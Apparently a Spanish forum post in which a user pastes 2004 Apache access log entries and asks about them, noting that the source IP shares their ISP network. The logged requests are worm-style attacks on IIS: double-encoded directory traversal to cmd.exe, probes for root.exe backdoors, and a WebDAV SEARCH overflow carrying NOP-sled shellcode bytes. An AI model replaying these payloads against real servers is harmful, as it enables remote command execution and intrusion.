Esto es lo que me he encontrado al mirar el log de mi apache:
62.57.23.143 - - [12/Jun/2004:16:51:20 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298 "-" "-"
62.57.23.143 - - [12/Jun/2004:16:51:20 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298 "-" "-"
62.57.69.150 - - [12/Jun/2004:18:13:00 +0200] "SEARCH /\x90\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\
...
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 414 337 "-" "-"
62.57.23.143 - - [12/Jun/2004:21:25:40 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 276 "-" "-"
62.57.23.143 - - [12/Jun/2004:21:25:40 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 274 "-" "-"
62.57.23.143 - - [12/Jun/2004:21:25:40 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284 "-" "-"
62.57.23.143 - - [12/Jun/2004:21:25:40 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 284 "-" "-"
62.57.23.143 - - [12/Jun/2004:21:25:40 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 298 "-" "-"
62.57.23.143 - - [12/Jun/2004:21:25:40 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 315 "-" "-"
Lo unico que se es que esa ip es de la misma red que la mia (Menta).
Gracias